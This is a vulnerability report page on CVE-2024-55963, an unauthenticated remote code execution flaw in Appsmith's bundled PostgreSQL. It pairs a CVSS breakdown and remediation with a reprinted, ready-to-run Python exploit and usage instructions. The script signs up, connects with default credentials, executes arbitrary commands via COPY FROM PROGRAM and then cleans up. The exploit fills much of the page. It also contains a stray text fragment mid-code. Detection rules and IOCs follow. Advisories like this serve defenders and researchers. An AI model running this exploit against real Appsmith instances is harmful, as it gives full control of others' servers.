CVE-2024-55963
Executive Summary
CVE-2024-55963 is a critical vulnerability in Appsmith, an open-source low-code platform, affecting versions prior to 1.52. The vulnerability allows an unauthenticated attacker to achieve Remote Code Execution (RCE) on the host system by exploiting a misconfigured internal PostgreSQL database. The database is configured with default credentials and allows the COPY FROM PROGRAM command, which can be used to execute arbitrary operating system commands. Additionally, a secondary issue allows non-admin users to trigger a server restart, leading to a Denial of Service (DoS). The primary RCE vector is rated with a CVSS score of 9.8 (Critical). A public proof-of-concept exploit is available, demonstrating the full attack chain from initial access to command execution.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Appsmith is distributed as a Docker image and via direct installation on Linux. The vulnerability is not in a specific package dependency but in the application's internal configuration. However, the impact on the supply chain is significant: any organization using a vulnerable version of Appsmith is at risk of full compromise. Attackers can leverage this to pivot to internal networks, exfiltrate data, or deploy malware. The lack of authentication for the database connection is a fundamental security flaw that undermines the entire application's security posture.
CVSS Breakdown & Threat Level
CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
- Privileges Required (PR): None - The attacker does not need any authentication.
- User Interaction (UI): None - No user action is required for exploitation.
- Scope (S): Unchanged - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High - Full read access to all data on the host system.
- Integrity (I): High - Full write access to the host system.
- Availability (A): High - Full control over the host system, including the ability to cause a denial of service.
Threat Level: Critical. The exploit is publicly available, requires no authentication, and provides complete control over the vulnerable system.
Deep Dive & Mechanics
The vulnerability is rooted in Appsmith's internal PostgreSQL database configuration. Appsmith uses a bundled PostgreSQL instance for its own data storage. In vulnerable versions, this database is configured with default credentials (postgres/postgres) and is accessible from within the application's network context. The critical flaw is that the database user has the SUPERUSER privilege, which allows the execution of the COPY ... FROM PROGRAM command. This PostgreSQL command can execute arbitrary shell commands on the host operating system.
The attack chain, as demonstrated in the public exploit, involves the following steps:
- User Registration: The attacker registers a new user account on the Appsmith instance. This is an unauthenticated action.
- Workspace and Application Creation: The attacker creates a new workspace and application. This is possible with the newly created user account.
- Datasource Enumeration: The attacker queries the Appsmith API to discover available datasource plugins. They specifically look for the PostgreSQL plugin.
- Datasource Creation: The attacker creates a new datasource, pointing it to the internal PostgreSQL database (
localhost:5432) using the default credentials (postgres/postgres). - Command Execution: The attacker uses the
schema-previewAPI endpoint to execute arbitrary SQL queries. They first create a table (poc), then use theCOPY poc FROM PROGRAM '<command>'command to execute a system command. The output of the command is stored in the table. - Output Retrieval: The attacker queries the table to retrieve the command output.
- Cleanup: The attacker drops the temporary table to cover their tracks.
The secondary DoS issue (CVE-2024-55963's original description) is a separate access control flaw where a non-admin user can call the restart API, causing a server restart. This is less severe than the RCE but can be used to disrupt service.
Vulnerable vs. Patched Code
The vulnerability is not in a specific code snippet but in the configuration and deployment of the internal PostgreSQL database.
Vulnerable Configuration (Pre-1.52):
- The internal PostgreSQL database is configured with default credentials.
- The database user has
SUPERUSERprivileges. - The database is accessible from the application's network context without additional authentication.
Patched Configuration (1.52+):
- The internal PostgreSQL database uses strong, randomly generated credentials.
- The database user's privileges are restricted, removing
SUPERUSERaccess. - Network access to the database is restricted, or additional authentication is required.
- The restart API endpoint now properly checks for superuser permissions.
The fix involves changes to the application's deployment scripts and database initialization code. The exact code changes are not publicly detailed, but the outcome is a hardened database configuration that prevents the COPY FROM PROGRAM attack.
Exploitation & Lab Setup
Red Team
The following Python script is a public proof-of-concept exploit for CVE-2024-55963. It automates the entire attack chain.
Usage:
- Save the script as
appsmith_rce.py. - Install the required library:
pip install requests pyfiglet. - Run the exploit:
python3 appsmith_rce.py -u http://target-appsmith.com "id"
The -u flag specifies the target URL, and the command to execute is provided as an argument (default is id).
# Exploit Title: AppSmith 1.47 - Remote Code Execution (RCE)
# Original Author: Rhino Security Labs
# Exploit Author: Nishanth Anand
# Exploit Date: April 2, 2025
# Vendor Homepage: https://www.appsmith.com/
# Software Link: https://github.com/appsmithorg/appsmith
# Version: Prior to v1.52
# Tested Versions: v1.47
# CVE ID: CVE-2024-55963
# Vulnerability Type: Remote Code Execution
# Description: Unauthenticated remote code execution in Appsmith versions prior to v1.52 due to misconfigured PostgreSQL database allowing COPY FROM PROGRAM command execution.
# Proof of Concept: Yes
# Categories: Web Application, Remote Code Execution, Database
# CVSS Score: 9.8 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Notes: The vulnerability exists in Appsmith's internal PostgreSQL database configuration, allowing attackers to execute arbitrary commands on the host system.
import requests
import json
import pyfiglet
import argparse
# Create a banner using pyfiglet
banner = pyfiglet.figlet_format("Appsmith RCE") # Replace with your desired title
print(banner)
# Set up argument parser
parser = argparse.ArgumentParser(description='Appsmith RCE Proof of Concept')
parser.add_argument('-u', '--url', required=True, help='Base URL of the target')
parser.add_argument('command', nargs='?', default='id', help='Command to execute')
args = parser.parse_args()
# Get the base URL and command from the parsed arguments
base_url = args.url
command_arg = args.command
if not base_url.startswith("http://") and not base_url.startswith("https://"):
base_url = "http://" + base_url
# Signup request
signup_url = f"{base_url}/api/v1/users"
signup_data = {
"email": "poc1@poc.com",
"password": "Testing123!"
}
print('Signing up...')
signup_response = requests.post(signup_url, data=signup_data)
signup_response.raise_for_status()
# Login request
login_url = f"{base_url}/api/v1/login" # Adjust the URL as needed
login_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/user/login",
"Cookie": "ajs_user_id=e471142002a6163a3beff6ee71606ea55d631c49e566f403b0614af905ae951d; intercom-device-id-y10e7138=83f9c6a5-3c0b-409e-9d7b-9ca61a129f49; SESSION=1e786474-3b33-407d-be71-47d986031a24; ajs_anonymous_id=8e91142e-ea5a-4725-91b6-439e8bd0abc1; intercom-session-y10e7138=bHI4SnhSRFhmUUVLUXpGZ0V0R0lzUkZsSmxEQkFJKzRaV20wMGtnaGtJWjJoc1AySWV6Rnl2c1AvbUY4eEkxaC0tK1pqNHNKYlZxVzBib1F3NVhXK0poQT09--0daa2198fe17122d3291b90abdb3e78d193ad2ed",
}
login_data = {
"username": "poc1@poc.com", # Adjusted to match the provided request
"password": "Testing123!"
}
# Make the login request without following redirects
print('Logging in...')
login_response = requests.post(login_url, headers=login_headers, data=login_data, allow_redirects=False)
login_response.raise_for_status()
# Capture the 'Set-Cookie' header if it exists
set_cookie = login_response.headers.get('Set-Cookie')
if set_cookie:
# Split the Set-Cookie header to get the cookie name and value
cookie_name, cookie_value = set_cookie.split(';')[0].split('=')
# Fourth request to create a new workspace
print('Creating a new workspace...')
if set_cookie:
fourth_request_url = f"{base_url}/api/v1/workspaces"
fourth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"Connection": "keep-alive",
"Referer": f"{base_url}/applications",
"Cookie": f"{cookie_name}={cookie_value}", # Use the captured session cookie
}
fourth_request_data = json.dumps({"name": "Untitled workspace 3"})
fourth_response = requests.post(fourth_request_url, headers=fourth_request_headers, data=fourth_request_data)
fourth_response.raise_for_status()
# Extract the 'id' from the response if it exists
try:
response_json = fourth_response.json()
workspace_id = response_json.get("data", {}).get("id")
except ValueError:
print("Response content is not valid JSON:", fourth_response.text) # Print the raw response for debugging
if workspace_id:
fifth_request_url = f"{base_url}/api/v1/applications"
fifth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"Content-Length": "161",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/applications?workspaceId={workspace_id}",
"Cookie": f"{cookie_name}={cookie_value}",
}
fifth_request_data = json.dumps({"workspaceId":workspace_id,"name":"Untitled application 2","color":"#E3DEFF","icon":"chinese-remnibi","positioningType":"FIXED","showNavbar":None})
print('Creating a new application...')
fifth_response = requests.post(fifth_request_url, headers=fifth_request_headers, data=fifth_request_data)
fifth_response.raise_for_status()
try:
response_json = fifth_response.json()
application_id = response_json.get("data", {}).get("id")
except ValueError:
print("Response content is not valid JSON:", fifth_response.text)
# Sixth request to get workspace details
if workspace_id:
sixth_request_url = f"{base_url}/api/v1/workspaces/{workspace_id}"
sixth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
"Cookie": f"{cookie_name}={cookie_value}",
}
print('Getting workspace details...')
sixth_response = requests.get(sixth_request_url, headers=sixth_request_headers)
sixth_response.raise_for_status()
# Extract all plugin IDs from the response
try:
response_json = sixth_response.json()
plugin_ids = [plugin.get("pluginId") for plugin in response_json.get("data", {}).get("plugins", [])]
# Loop through each plugin ID for the seventh request
print(f'Searching for vulnerable postgres database...')
for plugin_id in plugin_ids:
# Seventh request to get the form data for the plugin
seventh_request_url = f"{base_url}/api/v1/plugins/{plugin_id}/form"
seventh_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasources/NEW",
"Cookie": f"{cookie_name}={cookie_value}",
}
try:
seventh_response = requests.get(seventh_request_url, headers=seventh_request_headers)
seventh_response.raise_for_status()
# Extracting the port value from the seventh response
try:
seventh_response_json = seventh_response.json()
if 'data' in seventh_response_json and 'form' in seventh_response_json['data']:
form_data = seventh_response_json['data']['form']
if any("postgres" in str(item) for item in form_data):
print(f"Vulnerable postgres database found.")
break
else:
pass
except (ValueError, IndexError) as e:
pass
except requests.exceptions.HTTPError as e:
print(f"Error checking plugin {plugin_id}: {e}")
continue
# Proceed to request 8 after finding "postgres"
# Proceed to request 8 after finding "postgres"
if "postgres" in str(seventh_response_json):
try:
# Try the environments API endpoint
eighth_request_url = f"{base_url}/api/v1/environments/workspaces/{workspace_id}?fetchDatasourceMeta=true"
eighth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
"Cookie": f"{cookie_name}={cookie_value}",
}
print('Getting the workspace details...')
eighth_response = requests.get(eighth_request_url, headers=eighth_request_headers)
eighth_response.raise_for_status()
# Extracting the workspace ID from the eighth response
try:
eighth_response_json = eighth_response.json()
workspace_data = eighth_response_json.get("data", [{}])[0]
workspace_id_value = workspace_data.get("id")
except (ValueError, IndexError):
print("Response content is not valid JSON or does not contain the expected structure:", eighth_response.text)
except requests.exceptions.HTTPError as e:
# If the environments API fails, use the workspace ID we already have
print(f"Could not fetch environment details: {e}")
print("Using existing workspace ID for datasource creation...")
workspace_id_value = workspace_id
except (ValueError, IndexError):
print("Response content is not valid JSON or does not contain enough plugins:", sixth_response.text)
# After the eighth request to get workspace details
if workspace_id_value:
ninth_request_url = f"{base_url}/api/v1/datasources"
ninth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasource/temp-id-0?from=datasources&pluginId=671a669f4e7fe242d9885195",
"Cookie": f"{cookie_name}={cookie_value}",
}
ninth_request_data = {
"pluginId": plugin_id,
"datasourceStorages": {
workspace_id_value: {
"datasourceConfiguration": {
"properties": [None, {"key": "Connection method", "value": "STANDARD"}],
"connection": {
"mode": "READ_WRITE",
"ssl": {"authType": "DEFAULT"}
},
"endpoints": [{"port": "5432", "host": "localhost"}],
"sshProxy": {"endpoints": [{"port": "22"}]},
"authentication": {
"databaseName": "postgres",
"username": "postgres",
"password": "postgres"
}
},
"datasourceId": "",
"environmentId": workspace_id_value,
"isConfigured": True
}
},
"name": "Untitled datasource 1",
"workspaceId": workspace_id
}
print('Connecting to vulnerable postgres database...')
ninth_response = requests.post(ninth_request_url, headers=ninth_request_headers, json=ninth_request_data)
ninth_response.raise_for_status()
# Extracting the ID from the response
try:
ninth_response_json = ninth_response.json()
datasource_id = ninth_response_json.get("data", {}).get("id")
except (ValueError, KeyError):
print("Response content is not valid JSON or does not contain the expected structure:", ninth_response.text)
# After the ninth request to create the datasource
if datasource_id:
# 10th Request
tenth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
tenth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
"Cookie": f"{cookie_name}={cookie_value}",
}
tenth_request_data = {
"title": "SELECT",
"body": "create table poc (column1 TEXT);",
"suggested": True
}
print("Creating the table 'poc'...")
tenth_response = requests.post(tenth_request_url, headers=tenth_request_headers, json=tenth_request_data)
tenth_response.raise_for_status()
# 11th Request
eleventh_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
eleventh_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
"Cookie": f"{cookie_name}={cookie_value}",
}
eleventh_request_data = {
"title": "SELECT",
"body": f"copy poc from program '{command_arg}';",
"suggested": True
}/CVE-2024-55963-Appsmith-RCE
print("Running command...")
eleventh_response = requests.post(eleventh_request_url, headers=eleventh_request_headers, json=eleventh_request_data)
eleventh_response.raise_for_status()
# 12th Request
twelfth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview" # Use the datasource_id
twelfth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2", # Use your actual anonymous user ID
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
"Cookie": f"{cookie_name}={cookie_value}", # Use the captured session cookie
}
# Request body for the 12th schema preview
twelfth_request_data = {
"title": "SELECT",
"body": "select * from poc;",
"suggested": True
}
# Print statement before the 12th request
print("Reading command output from poc table...\n")
# Make the POST request for the 12th schema preview
twelfth_response = requests.post(twelfth_request_url, headers=twelfth_request_headers, json=twelfth_request_data)
# Extracting and printing the response from the 12th schema preview
try:
twelfth_response_json = twelfth_response.json()
# Extracting the specific data
body_data = twelfth_response_json.get("data", {}).get("body", [])
column1_values = [item.get("column1") for item in body_data] # Extract only the column1 values
print("Command output:")
print("----------------------------------------")
for value in column1_values:
print(value) # Print each column1 value
print("----------------------------------------\n")
except (ValueError, KeyError):
print("Response content is not valid JSON or does not contain the expected structure:", twelfth_response.text) # Print the raw response for debugging
# Cleanup Request
cleanup_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview" # Use the datasource_id
cleanup_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2", # Use your actual anonymous user ID
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
"Cookie": f"{cookie_name}={cookie_value}", # Use the captured session cookie
}
# Request body for cleanup
cleanup_request_data = {
"title": "SELECT",
"body": "DROP TABLE poc;", # Command to drop the table
"suggested": True
}
# Make the POST request for the cleanup
print('\nDropping the table...')
cleanup_response = requests.post(cleanup_request_url, headers=cleanup_request_headers, json=cleanup_request_data)
Blue Team
To detect exploitation attempts, monitor for the following patterns:
- Multiple API calls to
/api/v1/usersand/api/v1/loginfrom the same IP in a short period. This indicates automated account creation. - Rapid creation of workspaces and applications by a new user.
- Requests to
/api/v1/plugins/*/formfollowed by creation of a datasource pointing tolocalhost:5432. - Requests to
/api/v1/datasources/*/schema-previewwith SQL bodies containingCOPY ... FROM PROGRAMorCREATE TABLEstatements. - Unusual database queries in the internal PostgreSQL logs, especially
COPY FROM PROGRAMcommands.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/api/v1/userswith JSON body containing"email": "poc1@poc.com"(or similar test emails). - POST requests to
/api/v1/datasourceswith JSON body containing"host": "localhost"and"port": "5432". - POST requests to
/api/v1/datasources/*/schema-previewwith JSON body containing"body": "copy poc from program".
- POST requests to
- Host IOCs:
- Presence of a table named
pocin the internal PostgreSQL database (if not cleaned up). - Execution of unexpected system commands via PostgreSQL.
- New user accounts in Appsmith with suspicious email addresses.
- Presence of a table named
- Log IOCs:
- Appsmith application logs showing rapid API calls for user registration, workspace creation, and datasource creation.
- PostgreSQL logs showing
COPY FROM PROGRAMcommands.
Detection Engineering
YARA Rule
rule CVE_2024_55963_Appsmith_RCE {
meta:
description = "Detects exploit attempts for CVE-2024-55963 in Appsmith logs"
author = "Valters IT"
date = "2025-04-02"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-55963"
strings:
$s1 = "copy poc from program" ascii wide nocase
$s2 = "create table poc" ascii wide nocase
$s3 = "localhost:5432" ascii wide nocase
$s4 = "postgres" ascii wide nocase
$s5 = "/api/v1/datasources" ascii wide nocase
$s6 = "/schema-preview" ascii wide nocase
condition:
(any of ($s1, $s2) and any of ($s3, $s4, $s5, $s6))
}
Sigma Rule
title: Appsmith CVE-2024-55963 RCE Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network requests indicative of CVE-2024-55963 exploitation.
author: Valters IT
date: 2025-04-02
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-55963
logsource:
category: webserver
product: appsmith
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/api/v1/users'
- '/api/v1/login'
- '/api/v1/workspaces'
- '/api/v1/applications'
- '/api/v1/plugins/*/form'
- '/api/v1/datasources'
- '/api/v1/datasources/*/schema-preview'
condition: selection
falsepositives:
- Legitimate user activity
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-55963 Appsmith RCE Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/v1/datasources"; http_uri; content:"localhost"; http_client_body; content:"5432"; http_client_body; content:"postgres"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Appsmith: The primary remediation is to upgrade to Appsmith version 1.52 or later. This version fixes the database configuration and access control issues.
- Restrict Network Access: If an immediate upgrade is not possible, restrict network access to the Appsmith instance. Use a firewall to limit access to trusted IP addresses only.
- Change Database Credentials: Manually change the default credentials for the internal PostgreSQL database. This is a temporary workaround.
- Revoke SUPERUSER Privileges: Connect to the internal PostgreSQL database and revoke
SUPERUSERprivileges from the application user. This will prevent theCOPY FROM PROGRAMattack.
Long-Term Mitigations:
- Implement Network Segmentation: Place the Appsmith instance in a segmented network with strict egress controls.
- Enable Auditing: Enable detailed logging for both the Appsmith application and the internal PostgreSQL database.
- Regular Security Audits: Conduct regular security audits and penetration testing on all deployed applications.
- Monitor for IOCs: Implement the detection rules provided in this report to monitor for exploitation attempts.
Valters IT
This report was generated by an AI DevSecOps assistant for educational and defensive purposes only.
{/* [Security Hash: 96DF3C07F6E9FE8474DA90ED] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.